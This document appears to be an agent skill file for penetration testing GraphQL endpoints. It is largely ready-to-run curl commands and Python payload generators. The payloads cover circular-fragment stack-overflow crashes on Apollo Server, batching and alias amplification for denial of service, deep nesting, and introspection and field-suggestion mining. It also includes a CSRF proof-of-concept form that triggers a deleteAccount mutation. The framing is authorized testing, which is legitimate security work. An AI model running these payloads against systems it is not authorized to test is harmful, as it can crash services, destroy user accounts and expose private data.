| name | graphql-pentest |
| description | GraphQL endpoint discovery, resource abuse (batching, alias amplification, circular fragments, deep nesting), introspection exploitation, backend fingerprinting (Apollo vs graphql-java vs Yoga vs Hasura), and CSRF via content-type differentials. Use when target has GraphQL endpoints, JS source references /graphql paths, or introspection schema is available. |
GraphQL Pentesting
Systematic GraphQL security testing from endpoint discovery through resource abuse, auth bypass, and information disclosure. Covers the full attack surface: batching DoS, alias amplification, circular fragment crashes (CWE-674), deep nesting, introspection mining, content-type CSRF, and persisted query abuse.
When to Use
- JS source contains
fetch/axios/gql calls to /graphql paths
- Proxy sitemap shows
application/json POST to GraphQL-shaped endpoints
- Static analysis matches flag GraphQL operations, mutations, or schema fragments
- Target uses known GraphQL frameworks (Apollo, graphql-java, Hasura, Yoga, Strawberry)
- Error responses contain
extensions.code, GRAPHQL_VALIDATION_FAILED, or PersistedQueryNotFound
Base Request
All GraphQL requests use this template (abbreviated as GQL in examples below):
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json"
Phase 1: Endpoint Discovery
Common Paths
Probe these paths with POST {"query":"{__typename}"} and Content-Type: application/json:
/graphql /api/graphql /v1/graphql
/gql /api/gql /v2/graphql
/query /api/query /graphiql
/g/api/graphql /g/api/*/graphql /graphql/console
/playground /altair /voyager
/graphql/schema.json /graphql/schema.graphql
For microservice architectures, enumerate service-specific paths:
/api/<service>/graphql (e.g., /api/comments-server/graphql)
/g/api/<service>/graphql (gateway prefix)
/<service>/graphql (direct service routing)
Source-driven discovery: Extract GraphQL paths from JS bundles. Search for fetch(", axios.post(", gql\``, useQuery, useMutation, createHttpLink, ApolloClient, graphql-tag` in static analysis matches or source maps.
Validation
For each discovered endpoint, send:
GQL POST "https://TARGET/graphql" -d '{"query":"{__typename}"}'
200 {"data":{"__typename":"Query"}} = active GraphQL endpoint
401/403 = active but requires auth
400 "Must provide query string" = active (different framework)
404/405 = not routed
Phase 2: Backend Fingerprinting
Identify the backend before testing — it determines which attacks apply. Full differential table in references/fingerprints.md.
Key differential: Apollo Server (Node.js) does NOT validate circular fragments by default. graphql-java does. This is the most reliable fingerprint and the highest-value DoS vector.
GQL POST "https://TARGET/graphql" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
500 Internal Server Error = Apollo Server (vulnerable to CWE-674)
200 + FragmentCycle not allowed = graphql-java (safe)
200 + Cannot spread fragment = Yoga/validated
Phase 3: Capability Matrix
Test every discovered endpoint for each capability. Build a matrix.
| Test | Payload | Vulnerable if |
|---|
| Batching | [{"query":"{__typename}"},{"query":"{__typename}"}] | Both execute (two results returned) |
| Batch limit | Increment array size until rejection | Find the ceiling (e.g., 5, 30, unlimited) |
| Aliases | {"query":"{a1:__typename a2:__typename ... aN:__typename}"} | Returns N results; find the ceiling |
| Introspection | {"query":"{__schema{types{name}}}"} | Returns type list |
| Partial introspection | {"query":"{__schema{queryType{name}}}"} | Top-level works but nested fields stripped |
| Circular fragments | {"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"} | HTTP 500 |
| Deep nesting | Recursive { field { field { field ... } } } at depth 50+ | No depth limit rejection |
| Directive overload | {"query":"{__typename @skip(if:false) @skip(if:false) ...x100}"} | Accepted without limit |
| GET method | GET /graphql?query={__typename} | Executes (enables CSRF without preflight) |
application/graphql CT | Body: {__typename} with Content-Type: application/graphql | Executes (CSRF vector: no JSON = no preflight) |
| APQ | {"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}} | PERSISTED_QUERY_NOT_FOUND (APQ enabled) |
| WebSocket | Upgrade: websocket on graphql path | Subscription endpoint active |
| Rate limiting | 50 requests in 5s | No 429 responses |
Matrix Template
Record results per endpoint:
| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit |
|----------|-------|---------|---------------|-----------|-------|-----|---------|------------|
| /graphql | [result] | [limit] | [full/partial/off] | [500/safe] | [limit] | [y/n] | [y/n] | [y/n] |
Phase 4: Resource Abuse (DoS)
4A: Batching Amplification
If batching is enabled, multiply expensive operations:
python3 -c "
import json
q = {'query': '{session { id email name }}'} # expensive resolver
print(json.dumps([q]*30))
" > /tmp/batch_payload.json
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/batch_payload.json
Proof methodology: Compare baseline (single query) vs batched response time. Document the multiplier.
- Baseline:
{session{id}} = 150ms
- Batched 30x: 30 copies = 4500ms (30x amplification)
4B: Alias Amplification
If aliases are unlimited or high-limit, multiply within a single query:
python3 -c "
aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)])
import json
print(json.dumps({'query': '{' + aliases + '}'}))
" > /tmp/alias_payload.json
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/alias_payload.json
Combined vector: If both batching and aliases work, multiply: batch_limit x alias_limit = total_ops. Example: 5 batches x 1000 aliases = 5000 resolver invocations in one HTTP request.
4C: Circular Fragment DoS (CWE-674)
Triggers uncontrolled recursion on Apollo Server (Node.js) backends that skip NoFragmentCycles validation.
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
Escalation variants:
2-way: fragment A on Query{...B} fragment B on Query{...A} query{...A}
3-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A}
5-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A}
If batching is also enabled, batch N circular fragment queries for N stack overflows per request:
python3 -c "
import json
q = {'query': 'fragment A on Query{...B} fragment B on Query{...A} query{...A}'}
print(json.dumps([q]*30))
" > /tmp/batch_circ_payload.json
Impact evidence:
500 Internal Server Error = unhandled exception (server crash)
"Maximum call stack size exceeded" in response = Node.js stack overflow (process kill)
- Response body contains
RangeError = confirmed CWE-674
4D: Deep Nesting
For targets with recursive type relationships (e.g., User.friends returns [User]):
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}'
Test incrementally: depth 10, 20, 50, 100. Document where depth limiting kicks in (if ever).
Phase 5: Information Disclosure
5A: Introspection Mining
If introspection is enabled (full or partial), dump the schema:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"}' \
| python3 -m json.tool > /tmp/schema.json
What to extract:
- Mutation names (state-changing operations:
deleteUser, updateRole, createPayment)
- Types with PII fields (
email, phone, ssn, password, token)
- Resolver arguments that accept IDs (IDOR candidates)
- Subscription types (real-time data exfil)
- Deprecated fields (may have weaker auth)
5B: Field Suggestion Exploitation
When introspection is disabled, submit typos and read error suggestions:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{usre{id}}"}'
Automate with a wordlist of common field/type names.
5C: Configuration Endpoints
Check for adjacent configuration endpoints near GraphQL paths:
/graphql/env /graphql/health /graphql/metrics
/api/graphql/env /api/graphql/config /api/graphql/debug
/<service>/env /<service>/health /<service>/config
These can leak Sentry DSNs, feature flags, build hashes, monitoring URLs, and internal service topology.
Phase 6: Auth and Access Control
6A: Content-Type CSRF
If an endpoint accepts application/graphql or GET queries, CSRF is possible without preflight:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/graphql" \
-d '{deleteAccount{success}}'
If the mutation executes, state-changing CSRF is confirmed. Build PoC HTML form:
<form action="https://TARGET/graphql" method="POST" enctype="text/plain">
<input name='{"query":"mutation{deleteAccount{success}}","a":"' value='"}' />
<input type="submit" value="Click me" />
</form>
6B: Unauthenticated Access Probing
Test every endpoint without auth tokens:
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
200 with data = unauthenticated access (test mutations next)
401/403 = auth required (expected)
6C: Persisted Query Hash Enumeration
If APQ is enabled (PERSISTED_QUERY_NOT_FOUND), known operation hashes bypass query allowlists. Extract hashes from JS bundles by grepping for sha256Hash followed by 64 hex chars.
Proof Methodology
Timing-Based Evidence
For all DoS vectors, the proof is the response time differential:
for i in 1 2 3; do
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
done
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d @/tmp/amplified_payload.json
Stack Overflow Evidence
For circular fragment DoS, capture the error response body showing RangeError or Maximum call stack size exceeded. The 500 alone is the finding; the stack trace is bonus evidence.
Chain With
- auth-matrix-testing — after mapping mutations via introspection, test per-resolver authorization
- race-condition-single-packet — batch + alias amplification as race condition trigger mechanism
- orm-filter-data-leak — GraphQL filter/search arguments often map to ORM queries with traversable relationships
- saas-provider-url-ssrf — GraphQL mutations accepting URLs (webhooks, avatars, imports) as SSRF sinks
- blind-ssrf-chains — GraphQL connector/datasource mutations as blind SSRF entry points
- h2-waf-bypass — if WAF blocks GraphQL payloads, escalate via HTTP/2 framing
- cspt-xss — SPA fetch paths derived from URL params that hit GraphQL endpoints
Rules
- Build the matrix first. Test every endpoint for every capability before exploiting anything. The matrix reveals which endpoints are soft targets.
- Fingerprint the backend. Apollo vs graphql-java determines whether circular fragments crash the server. Do not waste time on CWE-674 against graphql-java.
- Timing proof is king. For DoS, the response time differential (baseline vs amplified) is the cleanest evidence. Always measure baseline first.
- Circular fragments are not batching. They are separate vulnerability classes (CWE-674 vs CWE-400). Report them separately even if on the same endpoint.
- Check batch + alias combined. The most powerful amplification is batch_limit x alias_limit. A 5-batch endpoint with unlimited aliases yields 5000+ ops per request.
- application/graphql is a CSRF vector. If mutations execute via non-JSON content types, CSRF is possible without CORS preflight. Always test this.
- Introspection feeds everything. Even partial introspection (top-level types) reveals expensive resolvers for alias amplification and mutation names for auth testing.
Reference